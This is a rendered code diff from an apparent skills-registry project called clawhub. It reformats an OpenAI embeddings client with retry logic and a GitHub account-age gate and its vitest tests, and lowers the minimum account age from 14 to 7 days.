"OpenAI API request timed out after 10 seconds",
);
await vi.runAllTimersAsync();
'OpenAI API request timed out after 10 seconds',
)
await vi.runAllTimersAsync()
await rejection;
expect(fetchMock).toHaveBeenCalledTimes(3);
});
});
await rejection
expect(fetchMock).toHaveBeenCalledTimes(3)
})
})
+60 -62
View File
@@ -1,87 +1,85 @@
export const EMBEDDING_MODEL = "text-embedding-3-small";
export const EMBEDDING_DIMENSIONS = 1536;
export const EMBEDDING_MODEL = 'text-embedding-3-small'
export const EMBEDDING_DIMENSIONS = 1536
const EMBEDDING_ENDPOINT = "https://api.openai.com/v1/embeddings";
const REQUEST_TIMEOUT_MS = 10_000;
const MAX_ATTEMPTS = 3;
const BASE_RETRY_DELAY_MS = 1_000;
const EMBEDDING_ENDPOINT = 'https://api.openai.com/v1/embeddings'
const REQUEST_TIMEOUT_MS = 10_000
const MAX_ATTEMPTS = 3
const BASE_RETRY_DELAY_MS = 1_000
class RetryableEmbeddingError extends Error {
constructor(message: string, options?: { cause?: unknown }) {
super(message, options);
this.name = "RetryableEmbeddingError";
super(message, options)
this.name = 'RetryableEmbeddingError'
}
}
function emptyEmbedding() {
return Array.from({ length: EMBEDDING_DIMENSIONS }, () => 0);
return Array.from({ length: EMBEDDING_DIMENSIONS }, () => 0)
}
function parseRetryAfterMs(retryAfterHeader: string | null) {
if (!retryAfterHeader) return null;
if (!retryAfterHeader) return null
const seconds = Number(retryAfterHeader);
const seconds = Number(retryAfterHeader)
if (Number.isFinite(seconds) && seconds >= 0) {
return Math.round(seconds * 1000);
return Math.round(seconds * 1000)
}
const dateMs = Date.parse(retryAfterHeader);
const dateMs = Date.parse(retryAfterHeader)
if (Number.isFinite(dateMs)) {
return Math.max(0, dateMs - Date.now());
return Math.max(0, dateMs - Date.now())
}
return null;
return null
}
function getRetryDelayMs(attempt: number, retryAfterMs: number | null) {
const exponentialDelayMs = BASE_RETRY_DELAY_MS * 2 ** attempt;
if (retryAfterMs == null) return exponentialDelayMs;
return Math.max(exponentialDelayMs, retryAfterMs);
const exponentialDelayMs = BASE_RETRY_DELAY_MS * 2 ** attempt
if (retryAfterMs == null) return exponentialDelayMs
return Math.max(exponentialDelayMs, retryAfterMs)
}
function normalizeRetryableNetworkError(error: unknown) {
if (!(error instanceof Error)) return null;
if (!(error instanceof Error)) return null
if (error.name === "AbortError") {
if (error.name === 'AbortError') {
return new RetryableEmbeddingError(
`OpenAI API request timed out after ${Math.floor(REQUEST_TIMEOUT_MS / 1000)} seconds`,
{ cause: error },
);
)
}
if (error instanceof TypeError) {
return new RetryableEmbeddingError(`Embedding request failed: ${error.message}`, {
cause: error,
});
return new RetryableEmbeddingError(`Embedding request failed: ${error.message}`, { cause: error })
}
return null;
return null
}
function sleep(ms: number) {
return new Promise<void>((resolve) => {
setTimeout(resolve, ms);
});
setTimeout(resolve, ms)
})
}
export async function generateEmbedding(text: string) {
const apiKey = process.env.OPENAI_API_KEY;
const apiKey = process.env.OPENAI_API_KEY
if (!apiKey) {
console.warn("OPENAI_API_KEY is not configured; using zero embeddings");
return emptyEmbedding();
console.warn('OPENAI_API_KEY is not configured; using zero embeddings')
return emptyEmbedding()
}
let lastRetryableError: RetryableEmbeddingError | null = null;
let lastRetryableError: RetryableEmbeddingError | null = null
for (let attempt = 0; attempt < MAX_ATTEMPTS; attempt++) {
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), REQUEST_TIMEOUT_MS);
const controller = new AbortController()
const timeoutId = setTimeout(() => controller.abort(), REQUEST_TIMEOUT_MS)
try {
const response = await fetch(EMBEDDING_ENDPOINT, {
method: "POST",
method: 'POST',
headers: {
"Content-Type": "application/json",
'Content-Type': 'application/json',
Authorization: `Bearer ${apiKey}`,
},
body: JSON.stringify({
@@ -89,59 +87,59 @@ export async function generateEmbedding(text: string) {
input: text,
}),
signal: controller.signal,
});
})
if (!response.ok) {
const message = await response.text();
const isRetryableStatus = response.status === 429 || response.status >= 500;
const message = await response.text()
const isRetryableStatus = response.status === 429 || response.status >= 500
if (isRetryableStatus) {
const retryableError = new RetryableEmbeddingError(
`Embedding failed (${response.status}): ${message}`,
);
lastRetryableError = retryableError;
)
lastRetryableError = retryableError
if (attempt < MAX_ATTEMPTS - 1) {
const retryAfterMs = parseRetryAfterMs(response.headers.get("retry-after"));
const delayMs = getRetryDelayMs(attempt, retryAfterMs);
const retryAfterMs = parseRetryAfterMs(response.headers.get('retry-after'))
const delayMs = getRetryDelayMs(attempt, retryAfterMs)
console.warn(
`OpenAI embeddings retry in ${delayMs}ms (attempt ${attempt + 1}/${MAX_ATTEMPTS})`,
);
await sleep(delayMs);
continue;
)
await sleep(delayMs)
continue
}
throw retryableError;
throw retryableError
}
throw new Error(`Embedding failed: ${message}`);
throw new Error(`Embedding failed: ${message}`)
}
const payload = (await response.json()) as {
data?: Array<{ embedding: number[] }>;
};
const embedding = payload.data?.[0]?.embedding;
if (!embedding) throw new Error("Embedding missing from response");
return embedding;
data?: Array<{ embedding: number[] }>
}
const embedding = payload.data?.[0]?.embedding
if (!embedding) throw new Error('Embedding missing from response')
return embedding
} catch (error) {
const retryableNetworkError = normalizeRetryableNetworkError(error);
const retryableNetworkError = normalizeRetryableNetworkError(error)
if (retryableNetworkError) {
lastRetryableError = retryableNetworkError;
lastRetryableError = retryableNetworkError
if (attempt < MAX_ATTEMPTS - 1) {
const delayMs = getRetryDelayMs(attempt, null);
const delayMs = getRetryDelayMs(attempt, null)
console.warn(
`OpenAI embeddings network retry in ${delayMs}ms (attempt ${attempt + 1}/${MAX_ATTEMPTS})`,
);
await sleep(delayMs);
continue;
)
await sleep(delayMs)
continue
}
throw retryableNetworkError;
throw retryableNetworkError
}
throw error;
throw error
} finally {
clearTimeout(timeoutId);
clearTimeout(timeoutId)
}
}
throw lastRetryableError ?? new Error("Embedding failed after retries");
throw lastRetryableError ?? new Error('Embedding failed after retries')
}
+248 -257
View File
@@ -1,405 +1,396 @@
/* @vitest-environment node */
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { internal } from "../_generated/api";
import { requireGitHubAccountAge, syncGitHubProfile } from "./githubAccount";
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
vi.mock("../_generated/api", () => ({
import { internal } from '../_generated/api'
import { requireGitHubAccountAge, syncGitHubProfile } from './githubAccount'
vi.mock('../_generated/api', () => ({
internal: {
githubIdentity: {
getGitHubProviderAccountIdInternal: Symbol("getGitHubProviderAccountIdInternal"),
getGitHubProviderAccountIdInternal: Symbol('getGitHubProviderAccountIdInternal'),
},
users: {
getByIdInternal: Symbol("getByIdInternal"),
setGitHubCreatedAtInternal: Symbol("setGitHubCreatedAtInternal"),
syncGitHubProfileInternal: Symbol("syncGitHubProfileInternal"),
getByIdInternal: Symbol('getByIdInternal'),
setGitHubCreatedAtInternal: Symbol('setGitHubCreatedAtInternal'),
syncGitHubProfileInternal: Symbol('syncGitHubProfileInternal'),
},
},
}));
}))
const ONE_DAY_MS = 24 * 60 * 60 * 1000;
const ONE_DAY_MS = 24 * 60 * 60 * 1000
describe("requireGitHubAccountAge", () => {
describe('requireGitHubAccountAge', () => {
beforeEach(() => {
vi.restoreAllMocks();
vi.unstubAllEnvs();
vi.unstubAllGlobals();
});
vi.restoreAllMocks()
vi.unstubAllEnvs()
vi.unstubAllGlobals()
})
afterEach(() => {
vi.useRealTimers();
vi.unstubAllEnvs();
vi.unstubAllGlobals();
});
vi.useRealTimers()
vi.unstubAllEnvs()
vi.unstubAllGlobals()
})
it("uses cached githubCreatedAt when present", async () => {
vi.useFakeTimers();
const now = new Date("2026-02-02T12:00:00Z");
vi.setSystemTime(now);
it('uses cached githubCreatedAt when present', async () => {
vi.useFakeTimers()
const now = new Date('2026-02-02T12:00:00Z')
vi.setSystemTime(now)
const runQuery = vi.fn().mockResolvedValue({
_id: "users:1",
githubCreatedAt: now.getTime() - 20 * ONE_DAY_MS,
});
const runMutation = vi.fn();
const fetchMock = vi.fn();
vi.stubGlobal("fetch", fetchMock);
_id: 'users:1',
githubCreatedAt: now.getTime() - 10 * ONE_DAY_MS,
})
const runMutation = vi.fn()
const fetchMock = vi.fn()
vi.stubGlobal('fetch', fetchMock)
await requireGitHubAccountAge({ runQuery, runMutation } as never, "users:1" as never);
await requireGitHubAccountAge({ runQuery, runMutation } as never, 'users:1' as never)
expect(fetchMock).not.toHaveBeenCalled();
expect(runMutation).not.toHaveBeenCalled();
expect(runQuery).toHaveBeenCalledWith(internal.users.getByIdInternal, { userId: "users:1" });
expect(fetchMock).not.toHaveBeenCalled()
expect(runMutation).not.toHaveBeenCalled()
expect(runQuery).toHaveBeenCalledWith(internal.users.getByIdInternal, { userId: 'users:1' })
expect(runQuery).not.toHaveBeenCalledWith(
internal.githubIdentity.getGitHubProviderAccountIdInternal,
{ userId: "users:1" },
);
});
{ userId: 'users:1' },
)
})
it("rejects deactivated users", async () => {
it('rejects deactivated users', async () => {
const runQuery = vi.fn().mockResolvedValue({
_id: "users:1",
_id: 'users:1',
deactivatedAt: Date.now(),
});
const runMutation = vi.fn();
const fetchMock = vi.fn();
vi.stubGlobal("fetch", fetchMock);
})
const runMutation = vi.fn()
const fetchMock = vi.fn()
vi.stubGlobal('fetch', fetchMock)
await expect(
requireGitHubAccountAge({ runQuery, runMutation } as never, "users:1" as never),
).rejects.toThrow(/User not found/i);
requireGitHubAccountAge({ runQuery, runMutation } as never, 'users:1' as never),
).rejects.toThrow(/User not found/i)
expect(fetchMock).not.toHaveBeenCalled();
});
expect(fetchMock).not.toHaveBeenCalled()
})
it("rejects accounts younger than 14 days", async () => {
vi.useFakeTimers();
const now = new Date("2026-02-02T12:00:00Z");
vi.setSystemTime(now);
it('rejects accounts younger than 7 days', async () => {
vi.useFakeTimers()
const now = new Date('2026-02-02T12:00:00Z')
vi.setSystemTime(now)
const runQuery = vi.fn().mockResolvedValue({
_id: "users:1",
_id: 'users:1',
githubCreatedAt: now.getTime() - 2 * ONE_DAY_MS,
});
const runMutation = vi.fn();
})
const runMutation = vi.fn()
await expect(
requireGitHubAccountAge({ runQuery, runMutation } as never, "users:1" as never),
).rejects.toThrow(/GitHub account must be at least 14 days old/i);
});
requireGitHubAccountAge({ runQuery, runMutation } as never, 'users:1' as never),
).rejects.toThrow(/GitHub account must be at least 7 days old/i)
})
it("fetches githubCreatedAt when missing (by providerAccountId)", async () => {
vi.useFakeTimers();
const now = new Date("2026-02-02T12:00:00Z");
vi.setSystemTime(now);
it('fetches githubCreatedAt when missing (by providerAccountId)', async () => {
vi.useFakeTimers()
const now = new Date('2026-02-02T12:00:00Z')
vi.setSystemTime(now)
const runQuery = vi
.fn()
const runQuery = vi.fn()
.mockResolvedValueOnce({
_id: "users:1",
_id: 'users:1',
githubCreatedAt: undefined,
})
.mockResolvedValueOnce("12345");
const runMutation = vi.fn();
.mockResolvedValueOnce('12345')
const runMutation = vi.fn()
const fetchMock = vi.fn().mockResolvedValue({
ok: true,
json: async () => ({
created_at: "2020-01-01T00:00:00Z",
created_at: '2020-01-01T00:00:00Z',
}),
});
vi.stubGlobal("fetch", fetchMock);
})
vi.stubGlobal('fetch', fetchMock)
await requireGitHubAccountAge({ runQuery, runMutation } as never, "users:1" as never);
await requireGitHubAccountAge({ runQuery, runMutation } as never, 'users:1' as never)
expect(fetchMock).toHaveBeenCalledWith(
"https://api.github.com/user/12345",
'https://api.github.com/user/12345',
expect.objectContaining({
headers: expect.objectContaining({ "User-Agent": "clawhub" }),
headers: expect.objectContaining({ 'User-Agent': 'clawhub' }),
}),
);
)
expect(runMutation).toHaveBeenCalledWith(internal.users.setGitHubCreatedAtInternal, {
userId: "users:1",
githubCreatedAt: Date.parse("2020-01-01T00:00:00Z"),
});
});
userId: 'users:1',
githubCreatedAt: Date.parse('2020-01-01T00:00:00Z'),
})
})
it("rejects when providerAccountId is missing", async () => {
const runQuery = vi
.fn()
it('rejects when providerAccountId is missing', async () => {
const runQuery = vi.fn()
.mockResolvedValueOnce({
_id: "users:1",
_id: 'users:1',
githubCreatedAt: undefined,
})
.mockResolvedValueOnce(null);
const runMutation = vi.fn();
const fetchMock = vi.fn();
vi.stubGlobal("fetch", fetchMock);
.mockResolvedValueOnce(null)
const runMutation = vi.fn()
const fetchMock = vi.fn()
vi.stubGlobal('fetch', fetchMock)
await expect(
requireGitHubAccountAge({ runQuery, runMutation } as never, "users:1" as never),
).rejects.toThrow(/GitHub account required/i);
requireGitHubAccountAge({ runQuery, runMutation } as never, 'users:1' as never),
).rejects.toThrow(/GitHub account required/i)
expect(fetchMock).not.toHaveBeenCalled();
});
expect(fetchMock).not.toHaveBeenCalled()
})
it("rejects when providerAccountId is invalid", async () => {
const runQuery = vi
.fn()
it('rejects when providerAccountId is invalid', async () => {
const runQuery = vi.fn()
.mockResolvedValueOnce({
_id: "users:1",
_id: 'users:1',
githubCreatedAt: undefined,
})
.mockResolvedValueOnce("abc123");
const runMutation = vi.fn();
const fetchMock = vi.fn();
vi.stubGlobal("fetch", fetchMock);
.mockResolvedValueOnce('abc123')
const runMutation = vi.fn()
const fetchMock = vi.fn()
vi.stubGlobal('fetch', fetchMock)
await expect(
requireGitHubAccountAge({ runQuery, runMutation } as never, "users:1" as never),
).rejects.toThrow(/GitHub account lookup failed/i);
requireGitHubAccountAge({ runQuery, runMutation } as never, 'users:1' as never),
).rejects.toThrow(/GitHub account lookup failed/i)
expect(fetchMock).not.toHaveBeenCalled();
});
expect(fetchMock).not.toHaveBeenCalled()
})
it("throws when GitHub lookup fails", async () => {
const runQuery = vi
.fn()
it('throws when GitHub lookup fails', async () => {
const runQuery = vi.fn()
.mockResolvedValueOnce({
_id: "users:1",
_id: 'users:1',
githubCreatedAt: undefined,
})
.mockResolvedValueOnce("12345");
const runMutation = vi.fn();
const fetchMock = vi.fn().mockResolvedValue({ ok: false, status: 404 });
vi.stubGlobal("fetch", fetchMock);
.mockResolvedValueOnce('12345')
const runMutation = vi.fn()
const fetchMock = vi.fn().mockResolvedValue({ ok: false, status: 404 })
vi.stubGlobal('fetch', fetchMock)
await expect(
requireGitHubAccountAge({ runQuery, runMutation } as never, "users:1" as never),
).rejects.toThrow(/GitHub account lookup failed/i);
});
requireGitHubAccountAge({ runQuery, runMutation } as never, 'users:1' as never),
).rejects.toThrow(/GitHub account lookup failed/i)
})
it("throws rate-limit error on 403", async () => {
const runQuery = vi
.fn()
it('throws rate-limit error on 403', async () => {
const runQuery = vi.fn()
.mockResolvedValueOnce({
_id: "users:1",
_id: 'users:1',
githubCreatedAt: undefined,
})
.mockResolvedValueOnce("12345");
const runMutation = vi.fn();
const fetchMock = vi.fn().mockResolvedValue({ ok: false, status: 403 });
vi.stubGlobal("fetch", fetchMock);
.mockResolvedValueOnce('12345')
const runMutation = vi.fn()
const fetchMock = vi.fn().mockResolvedValue({ ok: false, status: 403 })
vi.stubGlobal('fetch', fetchMock)
await expect(
requireGitHubAccountAge({ runQuery, runMutation } as never, "users:1" as never),
).rejects.toThrow(/rate limit exceeded/i);
});
requireGitHubAccountAge({ runQuery, runMutation } as never, 'users:1' as never),
).rejects.toThrow(/rate limit exceeded/i)
})
it("throws rate-limit error on 429", async () => {
const runQuery = vi
.fn()
it('throws rate-limit error on 429', async () => {
const runQuery = vi.fn()
.mockResolvedValueOnce({
_id: "users:1",
_id: 'users:1',
githubCreatedAt: undefined,
})
.mockResolvedValueOnce("12345");
const runMutation = vi.fn();
const fetchMock = vi.fn().mockResolvedValue({ ok: false, status: 429 });
vi.stubGlobal("fetch", fetchMock);
.mockResolvedValueOnce('12345')
const runMutation = vi.fn()
const fetchMock = vi.fn().mockResolvedValue({ ok: false, status: 429 })
vi.stubGlobal('fetch', fetchMock)
await expect(
requireGitHubAccountAge({ runQuery, runMutation } as never, "users:1" as never),
).rejects.toThrow(/rate limit exceeded/i);
});
requireGitHubAccountAge({ runQuery, runMutation } as never, 'users:1' as never),
).rejects.toThrow(/rate limit exceeded/i)
})
it("throws when GitHub returns an invalid payload", async () => {
const runQuery = vi
.fn()
it('throws when GitHub returns an invalid payload', async () => {
const runQuery = vi.fn()
.mockResolvedValueOnce({
_id: "users:1",
_id: 'users:1',
githubCreatedAt: undefined,
})
.mockResolvedValueOnce("12345");
const runMutation = vi.fn();
.mockResolvedValueOnce('12345')
const runMutation = vi.fn()
const fetchMock = vi.fn().mockResolvedValue({
ok: true,
json: async () => ({}),
});
vi.stubGlobal("fetch", fetchMock);
})
vi.stubGlobal('fetch', fetchMock)
await expect(
requireGitHubAccountAge({ runQuery, runMutation } as never, "users:1" as never),
).rejects.toThrow(/GitHub account lookup failed/i);
});
requireGitHubAccountAge({ runQuery, runMutation } as never, 'users:1' as never),
).rejects.toThrow(/GitHub account lookup failed/i)
})
it("includes Authorization header when GITHUB_TOKEN is set", async () => {
vi.useFakeTimers();
const now = new Date("2026-02-02T12:00:00Z");
vi.setSystemTime(now);
it('includes Authorization header when GITHUB_TOKEN is set', async () => {
vi.useFakeTimers()
const now = new Date('2026-02-02T12:00:00Z')
vi.setSystemTime(now)
vi.stubEnv("GITHUB_TOKEN", "ghp_test123");
vi.stubEnv('GITHUB_TOKEN', 'ghp_test123')
const runQuery = vi
.fn()
const runQuery = vi.fn()
.mockResolvedValueOnce({
_id: "users:1",
_id: 'users:1',
githubCreatedAt: undefined,
})
.mockResolvedValueOnce("12345");
const runMutation = vi.fn();
.mockResolvedValueOnce('12345')
const runMutation = vi.fn()
const fetchMock = vi.fn().mockResolvedValue({
ok: true,
json: async () => ({
created_at: "2020-01-01T00:00:00Z",
created_at: '2020-01-01T00:00:00Z',
}),
});
vi.stubGlobal("fetch", fetchMock);
})
vi.stubGlobal('fetch', fetchMock)
await requireGitHubAccountAge({ runQuery, runMutation } as never, "users:1" as never);
await requireGitHubAccountAge({ runQuery, runMutation } as never, 'users:1' as never)
expect(fetchMock).toHaveBeenCalledWith(
"https://api.github.com/user/12345",
'https://api.github.com/user/12345',
expect.objectContaining({
headers: {
"User-Agent": "clawhub",
Authorization: "Bearer ghp_test123",
'User-Agent': 'clawhub',
Authorization: 'Bearer ghp_test123',
},
}),
);
});
});
)
})
})
describe("syncGitHubProfile", () => {
describe('syncGitHubProfile', () => {
beforeEach(() => {
vi.restoreAllMocks();
vi.unstubAllEnvs();
vi.unstubAllGlobals();
});
vi.restoreAllMocks()
vi.unstubAllEnvs()
vi.unstubAllGlobals()
})
afterEach(() => {
vi.useRealTimers();
vi.unstubAllEnvs();
vi.unstubAllGlobals();
});
vi.useRealTimers()
vi.unstubAllEnvs()
vi.unstubAllGlobals()
})
it("skips recent syncs (throttle)", async () => {
vi.useFakeTimers();
const now = new Date("2026-02-02T12:00:00Z");
vi.setSystemTime(now);
it('skips recent syncs (throttle)', async () => {
vi.useFakeTimers()
const now = new Date('2026-02-02T12:00:00Z')
vi.setSystemTime(now)
const runQuery = vi.fn().mockResolvedValueOnce({
_id: "users:1",
name: "oldname",
githubProfileSyncedAt: now.getTime(),
});
const runMutation = vi.fn();
const fetchMock = vi.fn();
vi.stubGlobal("fetch", fetchMock);
await syncGitHubProfile({ runQuery, runMutation } as never, "users:1" as never);
expect(fetchMock).not.toHaveBeenCalled();
expect(runMutation).not.toHaveBeenCalled();
});
it("updates profile even when only avatar changes", async () => {
vi.useFakeTimers();
const now = new Date("2026-02-02T12:00:00Z");
vi.setSystemTime(now);
const runQuery = vi
.fn()
const runQuery = vi.fn()
.mockResolvedValueOnce({
_id: "users:1",
name: "same",
image: "https://avatars.githubusercontent.com/u/1?v=3",
_id: 'users:1',
name: 'oldname',
githubProfileSyncedAt: now.getTime(),
})
const runMutation = vi.fn()
const fetchMock = vi.fn()
vi.stubGlobal('fetch', fetchMock)
await syncGitHubProfile({ runQuery, runMutation } as never, 'users:1' as never)
expect(fetchMock).not.toHaveBeenCalled()
expect(runMutation).not.toHaveBeenCalled()
})
it('updates profile even when only avatar changes', async () => {
vi.useFakeTimers()
const now = new Date('2026-02-02T12:00:00Z')
vi.setSystemTime(now)
const runQuery = vi.fn()
.mockResolvedValueOnce({
_id: 'users:1',
name: 'same',
image: 'https://avatars.githubusercontent.com/u/1?v=3',
githubProfileSyncedAt: now.getTime() - 10 * ONE_DAY_MS,
})
.mockResolvedValueOnce("12345");
const runMutation = vi.fn();
.mockResolvedValueOnce('12345')
const runMutation = vi.fn()
const fetchMock = vi.fn().mockResolvedValue({
ok: true,
json: async () => ({
login: "same",
avatar_url: "https://avatars.githubusercontent.com/u/1?v=4",
login: 'same',
avatar_url: 'https://avatars.githubusercontent.com/u/1?v=4',
}),
});
vi.stubGlobal("fetch", fetchMock);
})
vi.stubGlobal('fetch', fetchMock)
await syncGitHubProfile({ runQuery, runMutation } as never, "users:1" as never);
await syncGitHubProfile({ runQuery, runMutation } as never, 'users:1' as never)
expect(runMutation).toHaveBeenCalledWith(internal.users.syncGitHubProfileInternal, {
userId: "users:1",
name: "same",
image: "https://avatars.githubusercontent.com/u/1?v=4",
userId: 'users:1',
name: 'same',
image: 'https://avatars.githubusercontent.com/u/1?v=4',
syncedAt: now.getTime(),
});
});
})
})
it("updates name and records sync timestamp", async () => {
vi.useFakeTimers();
const now = new Date("2026-02-02T12:00:00Z");
vi.setSystemTime(now);
it('updates name and records sync timestamp', async () => {
vi.useFakeTimers()
const now = new Date('2026-02-02T12:00:00Z')
vi.setSystemTime(now)
const runQuery = vi
.fn()
const runQuery = vi.fn()
.mockResolvedValueOnce({
_id: "users:1",
name: "old",
_id: 'users:1',
name: 'old',
githubProfileSyncedAt: now.getTime() - 10 * ONE_DAY_MS,
})
.mockResolvedValueOnce("12345");
const runMutation = vi.fn();
.mockResolvedValueOnce('12345')
const runMutation = vi.fn()
const fetchMock = vi.fn().mockResolvedValue({
ok: true,
json: async () => ({
login: "new",
avatar_url: "https://avatars.githubusercontent.com/u/1?v=1",
login: 'new',
avatar_url: 'https://avatars.githubusercontent.com/u/1?v=1',
}),
});
vi.stubGlobal("fetch", fetchMock);
})
vi.stubGlobal('fetch', fetchMock)
await syncGitHubProfile({ runQuery, runMutation } as never, "users:1" as never);
await syncGitHubProfile({ runQuery, runMutation } as never, 'users:1' as never)
expect(runMutation).toHaveBeenCalledWith(internal.users.syncGitHubProfileInternal, {
userId: "users:1",
name: "new",
image: "https://avatars.githubusercontent.com/u/1?v=1",
userId: 'users:1',
name: 'new',
image: 'https://avatars.githubusercontent.com/u/1?v=1',
syncedAt: now.getTime(),
});
});
})
})
it("forwards GitHub profile name (full name) when present", async () => {
vi.useFakeTimers();
const now = new Date("2026-02-02T12:00:00Z");
vi.setSystemTime(now);
it('forwards GitHub profile name (full name) when present', async () => {
vi.useFakeTimers()
const now = new Date('2026-02-02T12:00:00Z')
vi.setSystemTime(now)
const runQuery = vi
.fn()
const runQuery = vi.fn()
.mockResolvedValueOnce({
_id: "users:1",
name: "same",
_id: 'users:1',
name: 'same',
githubProfileSyncedAt: now.getTime() - 10 * ONE_DAY_MS,
})
.mockResolvedValueOnce("12345");
const runMutation = vi.fn();
.mockResolvedValueOnce('12345')
const runMutation = vi.fn()
const fetchMock = vi.fn().mockResolvedValue({
ok: true,
json: async () => ({
login: "same",
name: "Real Name",
avatar_url: "https://avatars.githubusercontent.com/u/1?v=1",
login: 'same',
name: 'Real Name',
avatar_url: 'https://avatars.githubusercontent.com/u/1?v=1',
}),
});
vi.stubGlobal("fetch", fetchMock);
})
vi.stubGlobal('fetch', fetchMock)
await syncGitHubProfile({ runQuery, runMutation } as never, "users:1" as never);
await syncGitHubProfile({ runQuery, runMutation } as never, 'users:1' as never)
expect(runMutation).toHaveBeenCalledWith(internal.users.syncGitHubProfileInternal, {
userId: "users:1",
name: "same",
image: "https://avatars.githubusercontent.com/u/1?v=1",
profileName: "Real Name",
userId: 'users:1',
name: 'same',
image: 'https://avatars.githubusercontent.com/u/1?v=1',
profileName: 'Real Name',
syncedAt: now.getTime(),
});
});
});
})
})
})
+65 -67
View File
@@ -1,87 +1,85 @@
import { ConvexError } from "convex/values";
import { internal } from "../_generated/api";
import type { Id } from "../_generated/dataModel";
import type { ActionCtx } from "../_generated/server";
import { GITHUB_PROFILE_SYNC_WINDOW_MS } from "./githubProfileSync";
import { ConvexError } from 'convex/values'
import { internal } from '../_generated/api'
import type { Id } from '../_generated/dataModel'
import type { ActionCtx } from '../_generated/server'
import { GITHUB_PROFILE_SYNC_WINDOW_MS } from './githubProfileSync'
const GITHUB_API = "https://api.github.com";
const MIN_ACCOUNT_AGE_MS = 14 * 24 * 60 * 60 * 1000;
type GitHubAccountGateCtx = Pick<ActionCtx, "runQuery" | "runMutation">;
const GITHUB_API = 'https://api.github.com'
const MIN_ACCOUNT_AGE_MS = 7 * 24 * 60 * 60 * 1000
type GitHubUser = {
login?: string;
name?: string;
avatar_url?: string;
created_at?: string;
};
login?: string
name?: string
avatar_url?: string
created_at?: string
}
function assertGitHubNumericId(providerAccountId: string) {
if (!/^[0-9]+$/.test(providerAccountId)) {
throw new ConvexError("GitHub account lookup failed");
throw new ConvexError('GitHub account lookup failed')
}
}
function buildGitHubHeaders() {
const headers: Record<string, string> = { "User-Agent": "clawhub" };
const token = process.env.GITHUB_TOKEN;
const headers: Record<string, string> = { 'User-Agent': 'clawhub' }
const token = process.env.GITHUB_TOKEN
if (token) {
headers.Authorization = `Bearer ${token}`;
headers.Authorization = `Bearer ${token}`
}
return headers;
return headers
}
export async function requireGitHubAccountAge(ctx: GitHubAccountGateCtx, userId: Id<"users">) {
const user = await ctx.runQuery(internal.users.getByIdInternal, { userId });
if (!user || user.deletedAt || user.deactivatedAt) throw new ConvexError("User not found");
export async function requireGitHubAccountAge(ctx: ActionCtx, userId: Id<'users'>) {
const user = await ctx.runQuery(internal.users.getByIdInternal, { userId })
if (!user || user.deletedAt || user.deactivatedAt) throw new ConvexError('User not found')
const now = Date.now();
let createdAt = user.githubCreatedAt ?? null;
const now = Date.now()
let createdAt = user.githubCreatedAt ?? null
if (!createdAt) {
const providerAccountId = await ctx.runQuery(
internal.githubIdentity.getGitHubProviderAccountIdInternal,
{ userId },
);
)
if (!providerAccountId) {
// Invariant: GitHub is our only auth provider, so this should never happen.
throw new ConvexError("GitHub account required");
throw new ConvexError('GitHub account required')
}
assertGitHubNumericId(providerAccountId);
assertGitHubNumericId(providerAccountId)
// Fetch by immutable GitHub numeric ID to avoid username swap attacks entirely.
const response = await fetch(`${GITHUB_API}/user/${providerAccountId}`, {
headers: buildGitHubHeaders(),
});
})
if (!response.ok) {
if (response.status === 403 || response.status === 429) {
throw new ConvexError("GitHub API rate limit exceeded — please try again in a few minutes");
throw new ConvexError('GitHub API rate limit exceeded — please try again in a few minutes')
}
throw new ConvexError("GitHub account lookup failed");
throw new ConvexError('GitHub account lookup failed')
}
const payload = (await response.json()) as GitHubUser;
const parsed = payload.created_at ? Date.parse(payload.created_at) : Number.NaN;
if (!Number.isFinite(parsed)) throw new ConvexError("GitHub account lookup failed");
const payload = (await response.json()) as GitHubUser
const parsed = payload.created_at ? Date.parse(payload.created_at) : Number.NaN
if (!Number.isFinite(parsed)) throw new ConvexError('GitHub account lookup failed')
createdAt = parsed;
createdAt = parsed
await ctx.runMutation(internal.users.setGitHubCreatedAtInternal, {
userId,
githubCreatedAt: createdAt,
});
})
}
if (!createdAt) throw new ConvexError("GitHub account lookup failed");
if (!createdAt) throw new ConvexError('GitHub account lookup failed')
const ageMs = now - createdAt;
const ageMs = now - createdAt
if (ageMs < MIN_ACCOUNT_AGE_MS) {
const remainingMs = MIN_ACCOUNT_AGE_MS - ageMs;
const remainingDays = Math.max(1, Math.ceil(remainingMs / (24 * 60 * 60 * 1000)));
const remainingMs = MIN_ACCOUNT_AGE_MS - ageMs
const remainingDays = Math.max(1, Math.ceil(remainingMs / (24 * 60 * 60 * 1000)))
throw new ConvexError(
`GitHub account must be at least 14 days old to publish skills or post comments. Try again in ${remainingDays} day${
remainingDays === 1 ? "" : "s"
`GitHub account must be at least 7 days old to upload skills. Try again in ${remainingDays} day${
remainingDays === 1 ? '' : 's'
}.`,
);
)
}
}
@@ -90,54 +88,54 @@ export async function requireGitHubAccountAge(ctx: GitHubAccountGateCtx, userId:
* This handles the case where a user renames their GitHub account.
* Uses the immutable GitHub numeric ID to fetch the current profile.
*/
export async function syncGitHubProfile(ctx: ActionCtx, userId: Id<"users">) {
const user = await ctx.runQuery(internal.users.getByIdInternal, { userId });
if (!user || user.deletedAt || user.deactivatedAt) return;
export async function syncGitHubProfile(ctx: ActionCtx, userId: Id<'users'>) {
const user = await ctx.runQuery(internal.users.getByIdInternal, { userId })
if (!user || user.deletedAt || user.deactivatedAt) return
const now = Date.now();
const lastSyncedAt = user.githubProfileSyncedAt ?? null;
if (lastSyncedAt && now - lastSyncedAt < GITHUB_PROFILE_SYNC_WINDOW_MS) return;
const now = Date.now()
const lastSyncedAt = user.githubProfileSyncedAt ?? null
if (lastSyncedAt && now - lastSyncedAt < GITHUB_PROFILE_SYNC_WINDOW_MS) return
const providerAccountId = await ctx.runQuery(
internal.githubIdentity.getGitHubProviderAccountIdInternal,
{ userId },
);
if (!providerAccountId) return;
)
if (!providerAccountId) return
assertGitHubNumericId(providerAccountId);
assertGitHubNumericId(providerAccountId)
const response = await fetch(`${GITHUB_API}/user/${providerAccountId}`, {
headers: buildGitHubHeaders(),
});
})
if (!response.ok) {
// Silently fail - this is a best-effort sync, not critical path
console.warn(`[syncGitHubProfile] GitHub API error for user ${userId}: ${response.status}`);
return;
console.warn(`[syncGitHubProfile] GitHub API error for user ${userId}: ${response.status}`)
return
}
const payload = (await response.json()) as GitHubUser;
const newLogin = payload.login?.trim();
const newImage = payload.avatar_url?.trim();
const payload = (await response.json()) as GitHubUser
const newLogin = payload.login?.trim()
